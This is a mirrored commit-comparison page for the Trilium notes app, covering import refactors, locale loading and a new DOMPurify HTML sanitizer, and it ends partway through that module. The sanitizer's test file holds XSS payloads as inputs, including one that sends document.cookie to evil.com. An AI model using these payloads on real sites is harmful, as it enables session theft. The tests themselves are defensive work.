mirror of
https://github.com/zadam/trilium.git
synced 2026-04-06 12:09:00 +02:00
Compare commits
5 Commits
main
...
feat/fun-t
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4721a60214 | ||
|
|
732d1280c0 | ||
|
|
8ce969c5ad | ||
|
|
43963b7b71 | ||
|
|
f94f91656a |
1
.github/copilot-instructions.md
vendored
1
.github/copilot-instructions.md
vendored
@@ -320,7 +320,6 @@ Trilium provides powerful user scripting capabilities:
|
||||
- Use translation system via `t()` function
|
||||
- Automatic pluralization: Add `_other` suffix to translation keys (e.g., `item` and `item_other` for singular/plural)
|
||||
- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
|
||||
- When adding a new locale, follow the step-by-step guide in `docs/Developer Guide/Developer Guide/Concepts/Internationalisation Translations/Adding a new locale.md`
|
||||
|
||||
## Testing Conventions
|
||||
|
||||
|
||||
@@ -121,7 +121,6 @@ Trilium provides powerful user scripting capabilities:
|
||||
- **Only add new translation keys to `en/translation.json`** — translations for other languages are managed via Weblate and will be contributed by the community
|
||||
- Third-party components (e.g., mind-map context menu) should use i18next `t()` for their labels, with the English strings added to `en/translation.json` under a dedicated namespace (e.g., `"mind-map"`)
|
||||
- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
|
||||
- When adding a new locale, follow the step-by-step guide in `docs/Developer Guide/Developer Guide/Concepts/Internationalisation Translations/Adding a new locale.md`
|
||||
|
||||
### Security Considerations
|
||||
- Per-note encryption with granular protected sessions
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
"license": "AGPL-3.0-only",
|
||||
"packageManager": "pnpm@10.33.0",
|
||||
"devDependencies": {
|
||||
"@redocly/cli": "2.25.4",
|
||||
"@redocly/cli": "2.25.3",
|
||||
"archiver": "7.0.1",
|
||||
"fs-extra": "11.3.4",
|
||||
"js-yaml": "4.1.1",
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
import type { CKTextEditor } from "@triliumnext/ckeditor5";
|
||||
import type CodeMirror from "@triliumnext/codemirror";
|
||||
import { type LOCALE_IDS, SqlExecuteResponse } from "@triliumnext/commons";
|
||||
import { SqlExecuteResponse } from "@triliumnext/commons";
|
||||
import type { NativeImage, TouchBar } from "electron";
|
||||
import { ColumnComponent } from "tabulator-tables";
|
||||
|
||||
import type { Attribute } from "../services/attribute_parser.js";
|
||||
import bundleService from "../services/bundle.js";
|
||||
import froca from "../services/froca.js";
|
||||
import { initLocale, t } from "../services/i18n.js";
|
||||
import keyboardActionsService from "../services/keyboard_actions.js";
|
||||
@@ -564,7 +563,7 @@ export class AppContext extends Component {
|
||||
*/
|
||||
async earlyInit() {
|
||||
await options.initializedPromise;
|
||||
await initLocale((options.get("locale") || "en") as LOCALE_IDS);
|
||||
await initLocale();
|
||||
}
|
||||
|
||||
setLayout(layout: Layout) {
|
||||
@@ -579,6 +578,7 @@ export class AppContext extends Component {
|
||||
|
||||
this.tabManager.loadTabs();
|
||||
|
||||
const bundleService = (await import("../services/bundle.js")).default;
|
||||
setTimeout(() => bundleService.executeStartupBundles(), 2000);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import { getNoteIcon } from "@triliumnext/commons";
|
||||
|
||||
import bundleService from "../services/bundle.js";
|
||||
import cssClassManager from "../services/css_class_manager.js";
|
||||
import type { Froca } from "../services/froca-interface.js";
|
||||
import noteAttributeCache from "../services/note_attribute_cache.js";
|
||||
@@ -1015,6 +1014,7 @@ export default class FNote {
|
||||
const env = this.getScriptEnv();
|
||||
|
||||
if (env === "frontend") {
|
||||
const bundleService = (await import("../services/bundle.js")).default;
|
||||
return await bundleService.getAndExecuteBundle(this.noteId);
|
||||
} else if (env === "backend") {
|
||||
await server.post(`script/run/${this.noteId}`);
|
||||
|
||||
@@ -1,14 +1,12 @@
|
||||
import type { BrowserWindow } from "electron";
|
||||
|
||||
import type { CommandNames } from "../components/app_context.js";
|
||||
import appContext from "../components/app_context.js";
|
||||
import zoomService from "../components/zoom.js";
|
||||
import * as clipboardExt from "../services/clipboard_ext.js";
|
||||
import { t } from "../services/i18n.js";
|
||||
import options from "../services/options.js";
|
||||
import server from "../services/server.js";
|
||||
import utils from "../services/utils.js";
|
||||
import options from "../services/options.js";
|
||||
import zoomService from "../components/zoom.js";
|
||||
import contextMenu, { type MenuItem } from "./context_menu.js";
|
||||
import { t } from "../services/i18n.js";
|
||||
import server from "../services/server.js";
|
||||
import * as clipboardExt from "../services/clipboard_ext.js";
|
||||
import type { BrowserWindow } from "electron";
|
||||
import type { CommandNames, AppContext } from "../components/app_context.js";
|
||||
|
||||
function setupContextMenu() {
|
||||
const electron = utils.dynamicRequire("electron");
|
||||
@@ -17,6 +15,8 @@ function setupContextMenu() {
|
||||
// FIXME: Remove typecast once Electron is properly integrated.
|
||||
const { webContents } = remote.getCurrentWindow() as BrowserWindow;
|
||||
|
||||
let appContext: AppContext;
|
||||
|
||||
webContents.on("context-menu", (event, params) => {
|
||||
const { editFlags } = params;
|
||||
const hasText = params.selectionText.trim().length > 0;
|
||||
@@ -141,7 +141,7 @@ function setupContextMenu() {
|
||||
}
|
||||
|
||||
// Replace the placeholder with the real search keyword.
|
||||
const searchUrl = searchEngineUrl.replace("{keyword}", encodeURIComponent(params.selectionText));
|
||||
let searchUrl = searchEngineUrl.replace("{keyword}", encodeURIComponent(params.selectionText));
|
||||
|
||||
items.push({ kind: "separator" });
|
||||
|
||||
@@ -155,6 +155,10 @@ function setupContextMenu() {
|
||||
title: t("electron_context_menu.search_in_trilium", { term: shortenedSelection }),
|
||||
uiIcon: "bx bx-search",
|
||||
handler: async () => {
|
||||
if (!appContext) {
|
||||
appContext = (await import("../components/app_context.js")).default;
|
||||
}
|
||||
|
||||
await appContext.triggerCommand("searchNotes", {
|
||||
searchString: params.selectionText
|
||||
});
|
||||
|
||||
@@ -4,7 +4,6 @@ import { useCallback, useLayoutEffect, useRef } from "preact/hooks";
|
||||
import FNote from "./entities/fnote";
|
||||
import content_renderer from "./services/content_renderer";
|
||||
import { applyInlineMermaid } from "./services/content_renderer_text";
|
||||
import froca from "./services/froca";
|
||||
import { dynamicRequire, isElectron } from "./services/utils";
|
||||
import { CustomNoteList, useNoteViewType } from "./widgets/collections/NoteList";
|
||||
|
||||
@@ -31,6 +30,7 @@ async function main() {
|
||||
if (!noteId) return;
|
||||
|
||||
await import("./print.css");
|
||||
const froca = (await import("./services/froca")).default;
|
||||
const note = await froca.getNote(noteId);
|
||||
|
||||
const bodyWrapper = document.createElement("div");
|
||||
|
||||
@@ -26,7 +26,7 @@ type WithNoteId<T> = T & {
|
||||
};
|
||||
export type Widget = WithNoteId<(LegacyWidget | WidgetDefinitionWithType)>;
|
||||
|
||||
async function getAndExecuteBundle(noteId: string, originEntity: Entity | null = null, script: string | null = null, params: string | null = null) {
|
||||
async function getAndExecuteBundle(noteId: string, originEntity = null, script = null, params = null) {
|
||||
const bundle = await server.post<Bundle>(`script/bundle/${noteId}`, {
|
||||
script,
|
||||
params
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
import { t } from "./i18n.js";
|
||||
import toast from "./toast.js";
|
||||
|
||||
export function copyText(text: string) {
|
||||
if (!text) {
|
||||
return;
|
||||
@@ -9,26 +6,29 @@ export function copyText(text: string) {
|
||||
if (navigator.clipboard) {
|
||||
navigator.clipboard.writeText(text);
|
||||
return true;
|
||||
}
|
||||
// Fallback method: https://stackoverflow.com/a/72239825
|
||||
const textArea = document.createElement("textarea");
|
||||
textArea.value = text;
|
||||
try {
|
||||
document.body.appendChild(textArea);
|
||||
textArea.focus();
|
||||
textArea.select();
|
||||
return document.execCommand('copy');
|
||||
} finally {
|
||||
document.body.removeChild(textArea);
|
||||
} else {
|
||||
// Fallback method: https://stackoverflow.com/a/72239825
|
||||
const textArea = document.createElement("textarea");
|
||||
textArea.value = text;
|
||||
try {
|
||||
document.body.appendChild(textArea);
|
||||
textArea.focus();
|
||||
textArea.select();
|
||||
return document.execCommand('copy');
|
||||
} finally {
|
||||
document.body.removeChild(textArea);
|
||||
}
|
||||
}
|
||||
|
||||
} catch (e) {
|
||||
console.warn(e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function copyTextWithToast(text: string) {
|
||||
export async function copyTextWithToast(text: string) {
|
||||
const t = (await import("./i18n.js")).t;
|
||||
const toast = (await import("./toast.js")).default;
|
||||
|
||||
if (copyText(text)) {
|
||||
toast.showMessage(t("clipboard.copy_success"));
|
||||
} else {
|
||||
|
||||
@@ -5,6 +5,7 @@ import froca from "./froca.js";
|
||||
import link from "./link.js";
|
||||
import { renderMathInElement } from "./math.js";
|
||||
import { getMermaidConfig } from "./mermaid.js";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
|
||||
import { formatCodeBlocks } from "./syntax_highlight.js";
|
||||
import tree from "./tree.js";
|
||||
import { isHtmlEmpty } from "./utils.js";
|
||||
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
|
||||
const blob = await note.getBlob();
|
||||
|
||||
if (blob && !isHtmlEmpty(blob.content)) {
|
||||
$renderedContent.append($('<div class="ck-content">').html(blob.content));
|
||||
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
|
||||
|
||||
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
|
||||
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
import { Modal } from "bootstrap";
|
||||
|
||||
import appContext from "../components/app_context.js";
|
||||
import type { ConfirmDialogOptions, ConfirmDialogResult, ConfirmWithMessageOptions, MessageType } from "../widgets/dialogs/confirm.js";
|
||||
import { InfoExtraProps } from "../widgets/dialogs/info.jsx";
|
||||
import type { PromptDialogOptions } from "../widgets/dialogs/prompt.js";
|
||||
import { focusSavedElement, saveFocusedElement } from "./focus.js";
|
||||
import keyboardActionsService from "./keyboard_actions.js";
|
||||
import { InfoExtraProps } from "../widgets/dialogs/info.jsx";
|
||||
|
||||
export async function openDialog($dialog: JQuery<HTMLElement>, closeActDialog = true, config?: Partial<Modal.Options>) {
|
||||
if (closeActDialog) {
|
||||
@@ -27,6 +25,7 @@ export async function openDialog($dialog: JQuery<HTMLElement>, closeActDialog =
|
||||
}
|
||||
});
|
||||
|
||||
const keyboardActionsService = (await import("./keyboard_actions.js")).default;
|
||||
keyboardActionsService.updateDisplayedShortcuts($dialog);
|
||||
|
||||
return $dialog;
|
||||
|
||||
@@ -1,16 +1,14 @@
|
||||
import type { OptionNames } from "@triliumnext/commons";
|
||||
|
||||
import appContext from "../components/app_context.js";
|
||||
import FAttachment, { type FAttachmentRow } from "../entities/fattachment.js";
|
||||
import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
|
||||
import LoadResults from "./load_results.js";
|
||||
import froca from "./froca.js";
|
||||
import utils from "./utils.js";
|
||||
import options from "./options.js";
|
||||
import noteAttributeCache from "./note_attribute_cache.js";
|
||||
import FBranch, { type FBranchRow } from "../entities/fbranch.js";
|
||||
import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
|
||||
import FAttachment, { type FAttachmentRow } from "../entities/fattachment.js";
|
||||
import type { default as FNote, FNoteRow } from "../entities/fnote.js";
|
||||
import type { EntityChange } from "../server_types.js";
|
||||
import froca from "./froca.js";
|
||||
import LoadResults from "./load_results.js";
|
||||
import noteAttributeCache from "./note_attribute_cache.js";
|
||||
import options from "./options.js";
|
||||
import utils from "./utils.js";
|
||||
import type { OptionNames } from "@triliumnext/commons";
|
||||
|
||||
async function processEntityChanges(entityChanges: EntityChange[]) {
|
||||
const loadResults = new LoadResults(entityChanges);
|
||||
@@ -65,7 +63,7 @@ async function processEntityChanges(entityChanges: EntityChange[]) {
|
||||
if (entityName === "branches" && !((entity as FBranchRow).parentNoteId in froca.notes)) {
|
||||
missingNoteIds.push((entity as FBranchRow).parentNoteId);
|
||||
} else if (entityName === "attributes") {
|
||||
const attributeEntity = entity as FAttributeRow;
|
||||
let attributeEntity = entity as FAttributeRow;
|
||||
if (attributeEntity.type === "relation" && (attributeEntity.name === "template" || attributeEntity.name === "inherit") && !(attributeEntity.value in froca.notes)) {
|
||||
missingNoteIds.push(attributeEntity.value);
|
||||
}
|
||||
@@ -81,6 +79,7 @@ async function processEntityChanges(entityChanges: EntityChange[]) {
|
||||
noteAttributeCache.invalidate();
|
||||
}
|
||||
|
||||
const appContext = (await import("../components/app_context.js")).default;
|
||||
await appContext.triggerEvent("entitiesReloaded", { loadResults });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,14 +1,21 @@
|
||||
import { LOCALE_IDS, LOCALES, setDayjsLocale } from "@triliumnext/commons";
|
||||
import options from "./options.js";
|
||||
import i18next from "i18next";
|
||||
import i18nextHttpBackend from "i18next-http-backend";
|
||||
import server from "./server.js";
|
||||
import { LOCALE_IDS, setDayjsLocale, type Locale } from "@triliumnext/commons";
|
||||
import { initReactI18next } from "react-i18next";
|
||||
|
||||
let locales: Locale[] | null;
|
||||
|
||||
/**
|
||||
* A deferred promise that resolves when translations are initialized.
|
||||
*/
|
||||
export const translationsInitializedPromise = $.Deferred();
|
||||
export let translationsInitializedPromise = $.Deferred();
|
||||
|
||||
export async function initLocale(locale: LOCALE_IDS = "en") {
|
||||
export async function initLocale() {
|
||||
const locale = ((options.get("locale") as string) || "en") as LOCALE_IDS;
|
||||
|
||||
locales = await server.get<Locale[]>("options/locales");
|
||||
|
||||
i18next.use(initReactI18next);
|
||||
await i18next.use(i18nextHttpBackend).init({
|
||||
@@ -25,7 +32,11 @@ export async function initLocale(locale: LOCALE_IDS = "en") {
|
||||
}
|
||||
|
||||
export function getAvailableLocales() {
|
||||
return LOCALES;
|
||||
if (!locales) {
|
||||
throw new Error("Tried to load list of locales, but localization is not yet initialized.")
|
||||
}
|
||||
|
||||
return locales;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -36,7 +47,7 @@ export function getAvailableLocales() {
|
||||
*/
|
||||
export function getLocaleById(localeId: string | null | undefined) {
|
||||
if (!localeId) return null;
|
||||
return LOCALES.find((l) => l.id === localeId) ?? null;
|
||||
return locales?.find((l) => l.id === localeId) ?? null;
|
||||
}
|
||||
|
||||
export const t = i18next.t;
|
||||
|
||||
@@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
|
||||
import froca from "./froca.js";
|
||||
import { t } from "./i18n.js";
|
||||
import linkService from "./link.js";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
|
||||
import treeService from "./tree.js";
|
||||
import utils from "./utils.js";
|
||||
|
||||
@@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
|
||||
return;
|
||||
}
|
||||
|
||||
const html = `<div class="note-tooltip-content">${content}</div>`;
|
||||
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
|
||||
const sanitizedContent = sanitizeNoteContentHtml(content);
|
||||
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
|
||||
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
|
||||
|
||||
// we need to check if we're still hovering over the element
|
||||
// since the operation to get tooltip content was async, it is possible that
|
||||
@@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
|
||||
title: html,
|
||||
html: true,
|
||||
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
|
||||
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
|
||||
// (which is too aggressive for our rich-text content) can be disabled.
|
||||
sanitize: false,
|
||||
customClass: linkId
|
||||
});
|
||||
|
||||
236
apps/client/src/services/sanitize_content.spec.ts
Normal file
236
apps/client/src/services/sanitize_content.spec.ts
Normal file
@@ -0,0 +1,236 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { sanitizeNoteContentHtml } from "./sanitize_content";
|
||||
|
||||
describe("sanitizeNoteContentHtml", () => {
|
||||
// --- Preserves legitimate CKEditor content ---
|
||||
|
||||
it("preserves basic rich text formatting", () => {
|
||||
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves headings", () => {
|
||||
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves links with href", () => {
|
||||
const html = '<a href="https://example.com">Link</a>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves internal note links with data attributes", () => {
|
||||
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('class="reference-link"');
|
||||
expect(result).toContain('href="#root/abc123"');
|
||||
expect(result).toContain('data-note-path="root/abc123"');
|
||||
expect(result).toContain(">My Note</a>");
|
||||
});
|
||||
|
||||
it("preserves images with src", () => {
|
||||
const html = '<img src="api/images/abc123/image.png" alt="test">';
|
||||
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
|
||||
});
|
||||
|
||||
it("preserves tables", () => {
|
||||
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves code blocks", () => {
|
||||
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
|
||||
expect(sanitizeNoteContentHtml(html)).toBe(html);
|
||||
});
|
||||
|
||||
it("preserves include-note sections with data-note-id", () => {
|
||||
const html = '<section class="include-note" data-note-id="abc123"> </section>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('class="include-note"');
|
||||
expect(result).toContain('data-note-id="abc123"');
|
||||
expect(result).toContain(" </section>");
|
||||
});
|
||||
|
||||
it("preserves figure and figcaption", () => {
|
||||
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
|
||||
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
|
||||
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
|
||||
});
|
||||
|
||||
it("preserves task list checkboxes", () => {
|
||||
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('type="checkbox"');
|
||||
expect(result).toContain("checked");
|
||||
});
|
||||
|
||||
it("preserves inline styles for colors", () => {
|
||||
const html = '<span style="color: red;">Red text</span>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain("style");
|
||||
expect(result).toContain("color");
|
||||
});
|
||||
|
||||
it("preserves data-* attributes", () => {
|
||||
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain('data-custom-attr="value"');
|
||||
expect(result).toContain('data-note-id="abc"');
|
||||
});
|
||||
|
||||
// --- Blocks XSS vectors ---
|
||||
|
||||
it("strips script tags", () => {
|
||||
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert");
|
||||
expect(result).toContain("<p>Hello</p>");
|
||||
expect(result).toContain("<p>World</p>");
|
||||
});
|
||||
|
||||
it("strips onerror event handlers on images", () => {
|
||||
const html = '<img src="x" onerror="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onerror");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onclick event handlers", () => {
|
||||
const html = '<div onclick="alert(1)">Click me</div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onclick");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onload event handlers", () => {
|
||||
const html = '<img src="x" onload="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onload");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onmouseover event handlers", () => {
|
||||
const html = '<span onmouseover="alert(1)">Hover</span>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onmouseover");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onfocus event handlers", () => {
|
||||
const html = '<input onfocus="alert(1)" autofocus>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onfocus");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs in href", () => {
|
||||
const html = '<a href="javascript:alert(1)">Click</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs in img src", () => {
|
||||
const html = '<img src="javascript:alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips iframe tags", () => {
|
||||
const html = '<iframe src="https://evil.com"></iframe>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<iframe");
|
||||
});
|
||||
|
||||
it("strips object tags", () => {
|
||||
const html = '<object data="evil.swf"></object>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<object");
|
||||
});
|
||||
|
||||
it("strips embed tags", () => {
|
||||
const html = '<embed src="evil.swf">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<embed");
|
||||
});
|
||||
|
||||
it("strips style tags", () => {
|
||||
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<style");
|
||||
expect(result).toContain("<p>Text</p>");
|
||||
});
|
||||
|
||||
it("strips SVG with embedded script", () => {
|
||||
const html = '<svg><script>alert(1)</script></svg>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips meta tags", () => {
|
||||
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<meta");
|
||||
});
|
||||
|
||||
it("strips base tags", () => {
|
||||
const html = '<base href="https://evil.com/"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<base");
|
||||
});
|
||||
|
||||
it("strips link tags", () => {
|
||||
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<link");
|
||||
});
|
||||
|
||||
// --- Edge cases ---
|
||||
|
||||
it("handles empty string", () => {
|
||||
expect(sanitizeNoteContentHtml("")).toBe("");
|
||||
});
|
||||
|
||||
it("handles null-like falsy values", () => {
|
||||
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
|
||||
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
|
||||
});
|
||||
|
||||
it("handles nested XSS attempts", () => {
|
||||
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("onerror");
|
||||
expect(result).not.toContain("fetch");
|
||||
expect(result).not.toContain("cookie");
|
||||
expect(result).toContain("Safe");
|
||||
expect(result).toContain("Also safe");
|
||||
});
|
||||
|
||||
it("handles case-varied event handlers", () => {
|
||||
const html = '<img src="x" ONERROR="alert(1)">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result.toLowerCase()).not.toContain("onerror");
|
||||
});
|
||||
|
||||
it("strips dangerous data: URI on anchor elements", () => {
|
||||
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
// DOMPurify should either strip the href or remove the dangerous content
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("alert(1)");
|
||||
});
|
||||
|
||||
it("allows data: URI on image elements", () => {
|
||||
const html = '<img src="data:image/png;base64,iVBOR...">';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).toContain("data:image/png");
|
||||
});
|
||||
|
||||
it("strips template tags which could contain scripts", () => {
|
||||
const html = '<template><script>alert(1)</script></template>';
|
||||
const result = sanitizeNoteContentHtml(html);
|
||||
expect(result).not.toContain("<script");
|
||||
expect(result).not.toContain("<template");
|
||||
});
|
||||
});
|
||||
161
apps/client/src/services/sanitize_content.ts
Normal file
161
apps/client/src/services/sanitize_content.ts
Normal file
@@ -0,0 +1,161 @@
|
||||
/**
|
||||
* Client-side HTML sanitization for note content rendering.
|
||||
*
|
||||
* This module provides sanitization of HTML content before it is injected into
|
||||
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
|
||||
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
|
||||
* handlers, or other XSS vectors that must be stripped before rendering.
|
||||
*
|
||||
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
|
||||
* dependency of this project (via mermaid).
|
||||
*
|
||||
* The configuration is intentionally permissive for rich-text formatting
|
||||
* (bold, italic, headings, tables, images, links, etc.) while blocking
|
||||
* script execution vectors (script tags, event handlers, javascript: URIs,
|
||||
* data: URIs on non-image elements, etc.).
|
||||
*/
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* Tags allowed in sanitized note content. This mirrors the server-side
|
||||
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
|
||||
* tags needed for CKEditor content rendering (e.g. <section> for included
|
||||
* notes, <figure>/<figcaption> for images and tables).
|
||||
*
|
||||
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
|
||||
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
|
||||
*/
|
||||
const ALLOWED_TAGS = [
|
||||
// Headings
|
||||
"h1", "h2", "h3", "h4", "h5", "h6",
|
||||
// Block elements
|
||||
"blockquote", "p", "div", "pre", "section", "article", "aside",
|
||||
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
|
||||
// Lists
|
||||
"ul", "ol", "li", "dl", "dt", "dd", "menu",
|
||||
// Inline formatting
|
||||
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
|
||||
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
|
||||
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
|
||||
"cite", "acronym", "data", "rp",
|
||||
// Tables
|
||||
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
|
||||
"col", "colgroup",
|
||||
// Media
|
||||
"img", "figure", "figcaption", "video", "audio", "picture",
|
||||
"area", "map", "track",
|
||||
// Separators
|
||||
"hr", "br",
|
||||
// Interactive (limited)
|
||||
"label", "input",
|
||||
// Other
|
||||
"span",
|
||||
// CKEditor specific
|
||||
"en-media"
|
||||
];
|
||||
|
||||
/**
|
||||
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
|
||||
* of allowed attribute names that apply to all elements.
|
||||
*/
|
||||
const ALLOWED_ATTR = [
|
||||
// Common
|
||||
"class", "style", "title", "id", "dir", "lang", "tabindex",
|
||||
"spellcheck", "translate", "hidden",
|
||||
// Links
|
||||
"href", "target", "rel",
|
||||
// Images & media
|
||||
"src", "alt", "width", "height", "loading", "srcset", "sizes",
|
||||
"controls", "autoplay", "loop", "muted", "preload", "poster",
|
||||
// Data attributes (CKEditor uses these extensively)
|
||||
// DOMPurify allows data-* by default when ADD_ATTR includes them
|
||||
// Tables
|
||||
"colspan", "rowspan", "scope", "headers",
|
||||
// Input (for checkboxes in task lists)
|
||||
"type", "checked", "disabled",
|
||||
// Misc
|
||||
"align", "valign", "center",
|
||||
"open", // for <details>
|
||||
"datetime", // for <time>, <del>, <ins>
|
||||
"cite" // for <blockquote>, <del>, <ins>
|
||||
];
|
||||
|
||||
/**
|
||||
* URI-safe protocols allowed in href/src attributes.
|
||||
* Blocks javascript:, vbscript:, and other dangerous schemes.
|
||||
*/
|
||||
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
|
||||
// which restricts data: URIs to only <img> elements.
|
||||
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for sanitizing note content.
|
||||
*/
|
||||
const PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS,
|
||||
ALLOWED_ATTR,
|
||||
ALLOWED_URI_REGEXP,
|
||||
// Allow data-* attributes (used extensively by CKEditor)
|
||||
